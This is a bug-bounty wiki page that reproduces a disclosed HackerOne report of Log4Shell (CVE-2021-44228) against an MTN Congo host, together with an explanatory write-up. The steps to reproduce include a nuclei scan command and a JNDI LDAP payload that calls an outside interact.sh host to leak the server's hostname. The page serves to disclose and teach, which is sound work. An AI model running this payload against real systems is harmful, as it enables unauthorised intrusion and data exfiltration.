Skip to content
RCE Disclosed report Beginner CVE-2021-44228

Remote code injection in Log4j on https://mymtn.mtncongo.net - CVE-2021-44228

The report claims that the target is vulnerable to CVE-2021-44228 (Log4Shell), allowing remote code execution. The attacker used a Nuclei template to inject a JNDI payload and observed a DNS callback containing the hostname, indicating successful exploitation.

renzi Follow

Originally disclosed on HackerOne

Critical View original
  • Triaged in 31 days
  • Fixed in 8 months
  • Disclosed after 2.7 years

###Summary Hello,

I would to like report this security flaw on https://mymtn.mtncongo.net. Using script nuclei i can found CVE-2021-44228. This is a critical issue cause as remote command execution. On my test i just retrive hostname of machine via nuclei script. (https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-44228.yaml)

###Steps To Reproduce How we can reproduce the issue;

  1. run nuclei script via cmd; ./nuclei -u https://mymtn.mtncongo.net:8443 -t ../nuclei-templates/cves/2021/CVE-2021-44228.yaml

It will retrive the hostname of machine on output " [net]"

Like this;

[2021-12-14 03:38:05] [CVE-2021-44228] [http] [critical] https://mymtn.mtncongo.net:8443/?x=${jndi:ldap://${hostName}.c6s11oscca8f9pc2lrggcghbdgeyyyd66.interact.sh/a} [net]

###Mitigation Update according the vendor and thecnical references..

###References https://www.tenable.com/blog/cve-2021-44228-proof-of-concept-for-critical-apache-log4j-remote-code-execution-vulnerability https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476

Impact

Remote command execution

The original report as published on HackerOne, by renzi. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application uses a vulnerable version of Apache Log4j that processes JNDI lookups in logged strings without proper restrictions.

Impact

Remote command execution could allow an attacker to run arbitrary code on the server, but the report only demonstrates hostname retrieval via DNS.

What the attacker needed

Network access to the target

The fix

The application should be updated to a patched version of Log4j as per vendor guidance.

How it was found

  1. Run the Nuclei tool with the CVE-2021-44228 template against the target URL.
  2. Observe the output showing a DNS interaction containing the server's hostname.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Log4j is a logging library used by many Java applications. A flaw in it lets an attacker send a special string that makes the server fetch and run code from an attacker-controlled server. Here, the tester sent such a string and saw the server's hostname appear in a DNS request, which shows the server tried to connect out.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by renzi

View all

8 more disclosed reports, best first.

More from MTN Group

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.